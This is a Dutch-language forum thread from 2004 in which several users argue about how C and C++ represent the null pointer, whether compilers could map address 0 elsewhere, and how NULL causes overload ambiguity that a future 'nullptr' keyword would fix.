Het is in C en C++ legaal om met pointers te rekenen. Je kunt het verschil berekenen, pointers verlagen, ophogen, 2 pointers met elkaar 'manglen' en later weer uitelkaar halen (dmv and en or operaties bijvoorbeeld).
Met void * is het niet legaal. De meeste compilers slikken met wel, omdat sizeof(void) dan als 1 wordt gesteld.
M.a.w. de compiler kan nooit enkel en alleen voor 0 een andere waarde gaan gebruiken dan voor de andere adressen. De runtime zou dat wel kunnen, maar ik geloof niet dat die elke geheugen benadering controlleerd.
Waarom niet ? De compiler weet altijd dat het een pointer betreft, en weet dat de waarde 0 een speciale betekenis heeft. Ik zie daar echt geen probleem in.
Maar dat is dan het OS. Voor supervisor mode code is het een ander verhaal.
Niet alle CPU's hebben een supervisor mode. Da's practisch altijd toebedeeld aan CPU's met een MMU.
Die systemen hoeven nog niet eens embedded te zijn (neem bv de 68000 in de oude Apple's waar ook gewoon in C geprogrammeerd op werd). Die systemen hadden echter wel een supervisor / usermode onderscheid.
Die is op de 68k familie wel behoorlijk beperkt, en ging er volgens mij vanuit dat supervisor mode instructies alleen vanuit een functie konden worden uitgevoerd oid.
Mischien is dit voorbeeld nog niet eens de mooiste, maar geeft wel aan dat je allemaal legale dingen met pointers mag doen en de compiler deze met geen mogelijkheid kan volgen. Ook voor een 'interne' pointer kan een comper dus niet voor 'pointer 0' een uitzondering maken.
Hoezo ? De compiler weet dat de betreffende variabele een pointer is. De compiler weet op elk moment van elke variabele welk type die is.
int a = 1-1;

// according to igmar, the outcome of this is implementation dependend?
if ( NULL == a ) {

}
a is een integer, en d'r is geen manier zodat de compiler niet weet welke type een variabele is. In dit geval kan de compiler gewoon een signed integer comparisation gegeneren, nog afgezien dat de code hier niet eens compiled zonder warnings.
Er is helemaal geen algemene C++ ABI. :? Een ABI is altijd per platform, en daarvan is er nog maar 1 gespecificeerd en dat is voor het Itaninium platform. Die is zeker niet frequent veranderd en een chaos is het ook al niet.
De ABI is ook behoorlijk flexibel, en het komt dat ook frequent voor dat compiler versies object files genereren die niet compatibel zijn met oudere versies. Om maar eens een concreet iets te noemen : name mangling bij een C++ compiler, en compilers die in verschillende versies argumenten anders op de stack zetten.
Hoewel ik niet voor Itanium geprogrammeer heb ziet ie er gewoon duidelijk uit, maar ik moet eerlijk toegeven dat ik er niet echt diep in gedoken ben. Wat is er dan onduidelijke/chaotisch aan de Itanium C++ ABI? En wat heeft het uberhaupt met de bovenstaande discussie te maken (null is platform onafhankelijk niet toegankelijk, ABI is per platform)
ABI is misschien de verkeerde term, maar ik bedoel iig het object dat een compiler uitspuugt.

  • flowerp
  • Registratie: September 2003
  • Laatst online: 04-02 02:01
igmar schreef op 31 oktober 2004 @ 17:13:

Waarom niet ? De compiler weet altijd dat het een pointer betreft, en weet dat de waarde 0 een speciale betekenis heeft. Ik zie daar echt geen probleem in.
Jij niet, maar jij bent ook overduidelijk geen expert ;)

De compiler weet het type, maar niet de waarde.

In het geval van constant propagation valt er nog wel wat af te leiden (mijn int a = 1-1 voorbeeld), maar in het algemeen kan dat dus niet. Dit kan zelfs theoretisch bewezen worden. Het simpelste voorbeeld is als er externe input gebruikt wordt.

Dus, op het moment dat er een test gedaan wordt, en er zou voor de pointer met waarde 0 een aparte waarde gegenereerd moeten worden, dan kan dat niet. De compiler weet @compile time de waarde namelijk niet en kan dus met geen enkele mogelijkheid assembly genereren die er op in speelt dat 0 geen 0 is voor een pointer.

Het enige wat een compiler kan doen, is voor elke memory access een test genereren die kijkt of er een access is naar adres 0 en als dat zo is daar het platform afhankelijke verboden address voor invullen.

Om 2 redenen zal dat niet gebeuren:

Ten eerste maakt het de executie veel en veels te traag.
Ten tweede hoef je dat verboden adres niet in te vullen, maar kun je net zo goed meteen een runtime exception gooien in dat geval.

Dus, het bestaan van een verboden virtual address anders dan 0 is zeer nutteloos in C en C++, en nogmaals naar welk fysiek address het OS dit mapped maakt dus helemaal niks uit.

It's shocking to find how many people do not believe they can learn, and how many more believe learning to be difficult.


  • igmar
  • Registratie: April 2000
  • Laatst online: 12-05 15:46

igmar

ISO20022

flowerp schreef op 31 oktober 2004 @ 19:02:
Jij niet, maar jij bent ook overduidelijk geen expert ;)
Behoorlijke lompe uitspraak als je het mij vraagt.
De compiler weet het type, maar niet de waarde.
Is dat dan relevant ? Zolang je bij het genereren van je code maar rekening houdt met het feit dat het een pointer is.
In het geval van constant propagation valt er nog wel wat af te leiden (mijn int a = 1-1 voorbeeld), maar in het algemeen kan dat dus niet. Dit kan zelfs theoretisch bewezen worden. Het simpelste voorbeeld is als er externe input gebruikt wordt.
Leuk verhaal, nu de praktijk. Noem mij eens 1 voorbeeld van werkende code, waarbij de compiler niet weet welk type het is, en dus niet kan bepalen welke code dat gegenereerd wordt.
Dus, op het moment dat er een test gedaan wordt, en er zou voor de pointer met waarde 0 een aparte waarde gegenereerd moeten worden, dan kan dat niet. De compiler weet @compile time de waarde namelijk niet en kan dus met geen enkele mogelijkheid assembly genereren die er op in speelt dat 0 geen 0 is voor een pointer.
De compiler weet dat het een pointer is, en kan dus voor die situatie aparte code genereren. Net zoals de compiler weet dat een variabele signed is, en dus een andere test genereert dan voor al de variabele niet signed is. Hetzelfde geldt voor operaties op variabelen.
Dus, het bestaan van een verboden virtual address anders dan 0 is zeer nutteloos in C en C++, en nogmaals naar welk fysiek address het OS dit mapped maakt dus helemaal niks uit.
Ik zou zeggen : Lees de URL die ik postte, en mail de makers dat ze onzin verkopen. En virtueel adres 0 is nergens naar gemapped :)

[ Voor 5% gewijzigd door igmar op 01-11-2004 08:56 ]


Verwijderd

flowerp schreef op 31 oktober 2004 @ 14:37:
[...]
Kijk, het probleem is dat je nu met overloads zit. Stel de volgende declaraties voor:

C++:
1
2
void myfunc1 ( bar* );
void myfunc1 ( int ); // overload the bar* version


Roep deze nu aan: (definitie weggelaten, is hier niet belangrijk)

C++:
1
2
3
myfunc1 ( new bar ); // calls bar* version
myfunc1 ( 0 ); // calls int version
myfunc1 ( NULL ); // call int version. Is that what we want?


Het punt is dat de semantics gewoon niet kloppen. De compiler kan geen onderscheid maken tussen een null pointer en een integer.
Een beetje over de datum misschien, maar ik wil hier nog even op inhaken.
Je wilt dat voor bar*'s de bar* versie wordt aangeroepen, maar zodra bar* null is (wat in veel situaties gewoon een normale state is en geen exception) kicked opeens de int versie erin.
Nee hoor. De compiler bepaalt namelijk welke overloaded functie aangeroepen moet worden aan de hand van het type van de variabele, niet de waarde. Omdat je nu een constante gebruikt die blijkbaar slecht gedefiniëerd is, onstaat er ambiguïteit. Maar zodra je echte bar* variabelen gaat gebruiken zal altijd de goeie myfunc1 worden aangeroepen, zelfs als de waarde van die variabele NULL is (of 0, zo je wilt).

Verder vind ik deze discussie een voorbeeld van het feit dat C en C++ obscure hacktaaltjes, en dat ik me er maar beter verre van kan houden :*). (Begrijp me niet verkeerd, C(++) heeft zeker bestaansrecht op bepaalde gebieden. Als je op laag niveau moet werken: operating systems, embedded systemen, of als elke laatste milliseconde van snelheid belangrijk is, zoals in spelletjes. Maar ik programmeer meestal op applicatieniveau en ik wil me zo min mogelijk bezighouden met implementatiedetails. Python. Python!!!1 :p)

Verwijderd

igmar schreef op 01 november 2004 @ 08:53:
[...]

Leuk verhaal, nu de praktijk. Noem mij eens 1 voorbeeld van werkende code, waarbij de compiler niet weet welk type het is, en dus niet kan bepalen welke code dat gegenereerd wordt.
De compiler weet altijd welk type het is, maar kan geen uitzonderings code genereren voor een bepaalde waarde.

Als jij wilt dat adres 10 gewoon 10 blijft, 11 gewoon 11, etc, maar alleen 0 naar 0xc000000 gaat dan kan dat niet voor alleen het 0 geval.

Je moet dan altijd de code genereren die run-time test of de adres 0 is. Volgens flowerp wordt dat niet gedaan omdat het dan te langzaam wordt.

Alleen voor het geval 0 uitzonderings code genereren kan dus niet en dat is wat er bedoelt wordt. In C werk je in je taal wel altijd met 0, dus die moet op de een of andere manier naar iets anders omgezet worden.

Verwijderd

Verwijderd schreef op 01 november 2004 @ 11:21:

Nee hoor. De compiler bepaalt namelijk welke overloaded functie aangeroepen moet worden aan de hand van het type van de variabele, niet de waarde. Omdat je nu een constante gebruikt die blijkbaar slecht gedefiniëerd is, onstaat er ambiguïteit.
Maar dat is toch het hele probleem? Flowerp heeft wel degelijk een valide punt. Scot Meyers schreef overigens in 1993 al over dit probleem.

Wat jij even afwimpelt als 'gewoon geen slecht gedefineerde constante gebruiken' is juist de hele crux; je hebt in C++ geen goede -naam- voor de null pointer. Als ik nu aan een functie expliciet een null waarde will meegeven, dan kan ik dat niet veilig doen in C++. Ik zou dan iets moeten gebruiken als:

C++:
1
2
3
myfunc1 ( (bar*)0 ); // calls correct function now 
bar* barNull = 0;
myfunc1 ( barNull );  // again calls correct function


Dit is geen mooie oplossing en het maakt de taal lelijk. Daarom is er een universele -naam- nodig voor een -echte- nullpointer. NULL telt dus niet, want dat is alleen een macro die een integer voorstelt.

In java heb je bv wel een -echte- null pointer en die heet gewoon 'null'. In Java daarentegen had je nooit geen templates zodat je voor collections altijd het return type moest casten. Deze werkt wijze van Java kreeg veel kritiek van C++ mensen, maar voor de null pointer moeten zij precies het zelfde doen op dit moment.

Die nieuwe uitbreiding waar flowerp over sprak gaat waarschijnlijk 'nullptr' heten (en dus geen null_ptr). Voor de C++/Cli standaard gaat dit zeker komen, voor de nieuwe C++ standaard -zeer waarschijnlijk-.

Verwijderd

Verwijderd schreef op 01 november 2004 @ 23:05:
[...]
Maar dat is toch het hele probleem? Flowerp heeft wel degelijk een valide punt. Scot Meyers schreef overigens in 1993 al over dit probleem.

Wat jij even afwimpelt als 'gewoon geen slecht gedefineerde constante gebruiken' is juist de hele crux; je hebt in C++ geen goede -naam- voor de null pointer. Als ik nu aan een functie expliciet een null waarde will meegeven, dan kan ik dat niet veilig doen in C++.
Dat snap ik wel, maar in zijn post haalde flowerp het naar voren als een fundamenteel probleem met overloading/pointers/NULL waardes. Dat is het niet; dat is het alleen als je expliciet de constante NULL gebruikt in je aanroep. De fout van het kiezen van de verkeerde overloaded functie kan niet door run-time condities opgeroepen worden.

En aangezien je die aanroep zelf schrijft, is er ook een mogelijkheid om om het probleem heen te hacken, namelijk door je NULL expliciet te casten. Dat is natuurlijk niet mooi, en ik wil dan ook niet proberen om de discussie te bagatelliseren (die, hoewel behoorlijk esoterisch, toch wel interessant is). Wat ik met mijn post alleen wou aangeven is dat flowerp naar mijn mening onterecht een argument aanvoerde, over een detail dat los van de NULL-en-zijn-type discussie staat.

[ Voor 5% gewijzigd door Verwijderd op 02-11-2004 00:25 ]

Pagina: 1